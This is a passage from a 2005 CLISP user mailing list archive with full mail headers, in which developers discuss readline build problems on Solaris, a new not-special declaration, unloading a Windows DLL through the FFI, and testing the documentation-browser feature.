or unexpected. If I track this down, I'll let you know. Ray From sds@gnu.org Fri Nov 18 07:23:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ed85C-0002Mt-08 for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 07:23:22 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ed857-0007d8-FL for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 07:23:22 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAIFMqgl024073; Fri, 18 Nov 2005 10:22:52 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Fri, 18 Nov 2005 09:36:07 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 07:32:47 2005 X-Original-Date: Fri, 18 Nov 2005 10:21:57 -0500 > * Raymond Toy [2005-11-18 09:36:07 -0500]: > > > On a different note, 2.35 builds, but it doesn't include readline > support. configure finds it, but, for some reason, it doesn't > actually compile in readline support. It's been like this for some > time; 2.33 uses readline. Perhaps my readline library is too old > (many years) or the arrangement of the readline installed directories > is broken or unexpected. please take a look at the output of the top-level configure. it will announce "Configure findings" (listing readline, FFI and sigsegv) > If I track this down, I'll let you know. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.honestreporting.com http://pmw.org.il/ http://ffii.org/ http://www.jihadwatch.org/ http://www.mideasttruth.com/ If you want it done right, you have to do it yourself From raymond.toy@ericsson.com Fri Nov 18 07:45:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ed8Qg-0003FC-FX for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 07:45:34 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ed8Qe-0004pV-5r for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 07:45:34 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jAIFjQGi003416 for ; Fri, 18 Nov 2005 09:45:26 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY90YFZ; Fri, 18 Nov 2005 09:45:26 -0600 To: clisp-list@lists.sourceforge.net References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Fri, 18 Nov 2005 10:21:57 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 07:51:51 2005 X-Original-Date: Fri, 18 Nov 2005 10:45:25 -0500 >>>>> "Sam" == Sam Steingold writes: >> * Raymond Toy [2005-11-18 09:36:07 -0500]: >> >> >> On a different note, 2.35 builds, but it doesn't include readline >> support. configure finds it, but, for some reason, it doesn't >> actually compile in readline support. It's been like this for some >> time; 2.33 uses readline. Perhaps my readline library is too old >> (many years) or the arrangement of the readline installed directories >> is broken or unexpected. Sam> please take a look at the output of the top-level configure. Sam> it will announce "Configure findings" (listing readline, FFI and sigsegv) Configure findings: FFI: yes readline: yes libsigsegv: yes When it finishes it says: ./makemake --with-dynamic-ffi --prefix=/apps/public/solaris2.8 --with-libreadline=/apps/gnu/solaris2.8 --srcdir=../src > Makefile which is where libreadline is installed. But when I run make, it builds libnoreadline. And looking at the Makefile, it see it builds libnoreadline. Not sure where to look.... Ray From raymond.toy@ericsson.com Fri Nov 18 08:01:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ed8gY-0003sX-VW for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 08:01:58 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ed8gU-0000Om-Pj for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 08:01:56 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jAIG1h3w008131 for ; Fri, 18 Nov 2005 10:01:43 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY90ZMT; Fri, 18 Nov 2005 10:01:43 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Making special variables no longer special? References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Thu, 17 Nov 2005 17:12:00 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 08:08:55 2005 X-Original-Date: Fri, 18 Nov 2005 11:01:43 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> CVS head now supports (declaim (not-special foo)). Would notspecial be more in line with how CL names things? Well, CL has at least notinline. Ray From hopexy@gmail.com Fri Nov 18 08:40:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ed9IH-0005PC-4b for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 08:40:57 -0800 Received: from zproxy.gmail.com ([64.233.162.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ed9I9-00052t-Bi for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 08:40:51 -0800 Received: by zproxy.gmail.com with SMTP id 16so239545nzp for ; Fri, 18 Nov 2005 08:40:47 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=PH0RuwlkUz98x/eVYV3yEVCDS4xxSluZy1U52AtmLC6AN+9LvGQlWavna1dgSioDelWBN9dgeAu+NUjMjaYcyh/d7CVT4tvv8i1puNz+MARBq4yewKaqI9y5hmQzrJkjbZst5Hg94uV/JAUFX7li9FYhpUfXlCIfXjAP2aTQeCc= Received: by 10.65.44.7 with SMTP id w7mr5414650qbj; Fri, 18 Nov 2005 08:40:46 -0800 (PST) Received: by 10.65.191.11 with HTTP; Fri, 18 Nov 2005 08:40:46 -0800 (PST) Message-ID: <38b3aaee0511180840x311c30ceh@mail.gmail.com> From: xu yong To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] about ffi:close-foreign-library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 08:45:44 2005 X-Original-Date: Sat, 19 Nov 2005 00:40:46 +0800 Hello everyone. I'm new user of Clisp, and also new user of lisp language. I would like to use Clisp as interactive prototyping envriroment which allo= ws me to use foreign library(like MS Windows Dlls) to do some core computations efficiently. So I tested simple example which calls MessageBox function resides in user32.dll. Below is code: (use "FFI") (def-call-out messagebox (:name "MessageBoxA") (:library "user32.dll") (:arguments (hwnd int) (text c-string) (capt c-string) (type uint)) (:return-type int) (:language :stdc)) and call it as: (messagebox 0 "welcome" "clisp" 1) and it works well. But when I try to unload the library like: (close-foreign-library "user32.dll") I got message which says ---# X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: xu yong CC: clisp-list@lists.sourceforge.net In-reply-to: <38b3aaee0511180840x311c30ceh@mail.gmail.com> (message from xu yong on Sat, 19 Nov 2005 00:40:46 +0800) Subject: Re: [clisp-list] about ffi:close-foreign-library References: <38b3aaee0511180840x311c30ceh@mail.gmail.com> X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Fri, 18 Nov 2005 12:06:35 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 09:08:02 2005 X-Original-Date: Fri, 18 Nov 2005 12:06:28 -0500 (EST) ... (use "FFI") (def-call-out messagebox ...) ... (close-foreign-library "user32.dll") ... # Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Fri, 18 Nov 2005 11:01:43 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Making special variables no longer special? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 09:35:02 2005 X-Original-Date: Fri, 18 Nov 2005 12:33:09 -0500 > * Raymond Toy [2005-11-18 11:01:43 -0500]: > >>>>>> "Sam" == Sam Steingold writes: > > Sam> CVS head now supports (declaim (not-special foo)). > > Would notspecial be more in line with how CL names things? Well, CL > has at least notinline. ok. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.iris.org.il http://www.memri.org/ http://www.dhimmi.com/ http://www.mideasttruth.com/ http://www.camera.org If you try to fail, and succeed, which have you done? From sds@gnu.org Fri Nov 18 09:35:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdA9T-0000ta-RG for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 09:35:55 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EdA9Q-0004iI-DH for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 09:35:55 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAIHZakw002792; Fri, 18 Nov 2005 12:35:37 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Fri, 18 Nov 2005 10:45:25 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 09:36:07 2005 X-Original-Date: Fri, 18 Nov 2005 12:34:41 -0500 > * Raymond Toy [2005-11-18 10:45:25 -0500]: > >>>>>> "Sam" == Sam Steingold writes: > > >> * Raymond Toy [2005-11-18 09:36:07 -0500]: > >> > >> > >> On a different note, 2.35 builds, but it doesn't include readline > >> support. configure finds it, but, for some reason, it doesn't > >> actually compile in readline support. It's been like this for some > >> time; 2.33 uses readline. Perhaps my readline library is too old > >> (many years) or the arrangement of the readline installed directories > >> is broken or unexpected. > > Sam> please take a look at the output of the top-level configure. > Sam> it will announce "Configure findings" (listing readline, FFI and sigsegv) > > Configure findings: > FFI: yes > readline: yes > libsigsegv: yes > > When it finishes it says: > > ./makemake --with-dynamic-ffi --prefix=/apps/public/solaris2.8 > --with-libreadline=/apps/gnu/solaris2.8 --srcdir=../src > Makefile > > which is where libreadline is installed. > > But when I run make, it builds libnoreadline. And looking at the > Makefile, it see it builds libnoreadline. libnoreadline is built unless you specify --with-no-readline (sic!). when you _run_ clisp, is readline used? if not, run under gdb and see why stdio_same_tty_p() returns false. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.openvotingconsortium.org/ http://ffii.org/ http://pmw.org.il/ http://www.memri.org/ Life is like a diaper -- short and loaded. From raymond.toy@ericsson.com Fri Nov 18 11:08:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdBad-0004mI-JR for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 11:08:03 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EdBac-0002Om-0K for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 11:08:03 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jAIJ7uZw009402 for ; Fri, 18 Nov 2005 13:07:56 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY0AB05; Fri, 18 Nov 2005 13:07:55 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: readline References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Fri, 18 Nov 2005 12:34:41 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 11:09:00 2005 X-Original-Date: Fri, 18 Nov 2005 14:07:55 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> libnoreadline is built unless you specify --with-no-readline (sic!). Sam> when you _run_ clisp, is readline used? Oh, I wasn't clear, because that's how I noticed the problem because C-p, C-n, tab etc. do nothing except insert themselves. And ldd lisp.run shows that libreadline isn't used (but I also have both shared and non-shared libs available). If I look at the build, I see it links lisp.run, but doesn't reference -lreadline anywhere. The Makefile doesn't have readline anywhere, except in in libnoreadline. If it matters, remember, this is Solaris 8. I'm using gcc 3.3.3 for the build. gdb > 4.18 is rather problematic on Solaris because it doesn't handle signals correctly. Ray From sds@gnu.org Fri Nov 18 11:24:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdBqg-0005Uu-Vk for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 11:24:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EdBqe-0007Gv-75 for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 11:24:39 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAIJOH8h009922; Fri, 18 Nov 2005 14:24:17 -0500 (EST) To: clisp-list@lists.sourceforge.net, xu yong Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <38b3aaee0511180840x311c30ceh@mail.gmail.com> (xu yong's message of "Sat, 19 Nov 2005 00:40:46 +0800") References: <38b3aaee0511180840x311c30ceh@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, xu yong Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: about ffi:close-foreign-library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 11:25:06 2005 X-Original-Date: Fri, 18 Nov 2005 14:23:21 -0500 > * xu yong [2005-11-19 00:40:46 +0800]: > > But when I try to unload the library like: > (close-foreign-library "user32.dll") why do you want to do that? are you trying to replace a system library? :-) > I got message which says ---# the library was alreay(automaticaly) closed after my call to it? libraries are automatically closed only on exit. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.camera.org http://www.dhimmi.com/ http://www.iris.org.il http://www.palestinefacts.org/ Stupidity, like virtue, is its own reward. From kavenchuk@tut.by Fri Nov 18 11:52:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdCHy-0006dL-IQ for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 11:52:50 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EdCHv-0005G0-RH for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 11:52:50 -0800 X-VBA32: Checked Received: from [194.158.220.137] (account kavenchuk HELO [194.158.220.137]) by tut.by (CommuniGate Pro SMTP 4.3.6) with ESMTPSA id 21328922 for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 21:50:50 +0200 Message-ID: <437E3102.3050103@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] heads up - on-line docs, pre-test etc References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 11:53:08 2005 X-Original-Date: Fri, 18 Nov 2005 21:52:34 +0200 Sam Steingold wrote: >1. check (custom:clhs-root) and see if you like it. > > [1]> (custom:clhs-root) "C:\\CL\\doc\\HyperSpec\\" >2. make sure that (custom:impnotes-root) returns > "http://www.podval.org/~sds/clisp/impnotes/". > > [2]> (setf *impnotes-root-default* "http://www.podval.org/~sds/clisp/impnotes/") "http://www.podval.org/~sds/clisp/impnotes/" [3]> (custom:impnotes-root) "http://www.podval.org/~sds/clisp/impnotes/" >3. set *browser* to something you like (:default on woe32, cygwin, > macos, :mozilla on other unices) >4. evaluate (describe 'nreverse) > this will open two broser windows: the CLHS page for NREVERSE and > impnotes page for NREVERSE. > the normal describe output will be mixed with some junk (needed to > tell you that an internet connection is made &c) - but only for the > _first_ call to describe. > (describe 'socket-connect) will start a web page for clisp sockets &c > > > [4]> (setf *browser* :default) :DEFAULT [5]> (describe 'nreverse) NREVERSE is the symbol NREVERSE, lies in #, is accessible in 17 packages ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, MAKE, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a ;; SYSTEM::GET-CLHS-MAP(#)...978/978 symbols function. ;; starting the default system browser with url "C:\\CL\\doc\\HyperSpec\\Body/f_revers.htm"...done ;; connecting to "http://www.podval.org/~sds/clisp/impnotes/id-href.map"...connected...HTTP/1.1 200 OK...64,396 bytes ;; SYSTEM::GET-STRING-MAP(#)... WARNING: SYSTEM::GET-STRING-MAP: invalid map "" --> "faq.html#id3124586" WARNING: IMPNOTES-ROOT returns invalid value "http://www.podval.org/~sds/clisp/impnotes/", fix it, (GETENV "IMPNOTES") or *IMPNOTES-ROOT-DEFAULT* # is the package named COMMON-LISP. It has 2 nicknames LISP, CL. It imports the external symbols of 1 package CLOS and exports 978 symbols to 16 packages ASDF, MAKE, ZLIB, RAWSOCK, PCRE, LDAP, READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS, COMMON-LISP-USER, EXT, SYSTEM. # is a built-in system function. Argument list: (ARG0). And pop-up error message "c не ÑвлфетÑÑ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированным протоколом" [6]> (setf *browser* :mozilla) :MOZILLA [7]> (describe 'nreverse) NREVERSE is the symbol NREVERSE, lies in #, is accessible in 17 packages ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, MAKE, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a function, has 1 property SYSTEM::DOC. ;; running ["mozilla" "C:\\CL\\doc\\HyperSpec\\Body/f_revers.htm"]... *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. The following restarts are available: ABORT :R1 ABORT Mozilla is installed Thanks! -- WBR, Yaroslav Kavenchuk. From raymond.toy@ericsson.com Fri Nov 18 11:55:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdCKt-0006j1-35 for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 11:55:51 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EdCKs-0005sk-14 for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 11:55:51 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jAIJtiPw017133 for ; Fri, 18 Nov 2005 13:55:44 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY0A12T; Fri, 18 Nov 2005 13:55:44 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: readline References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Fri, 18 Nov 2005 12:34:41 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: 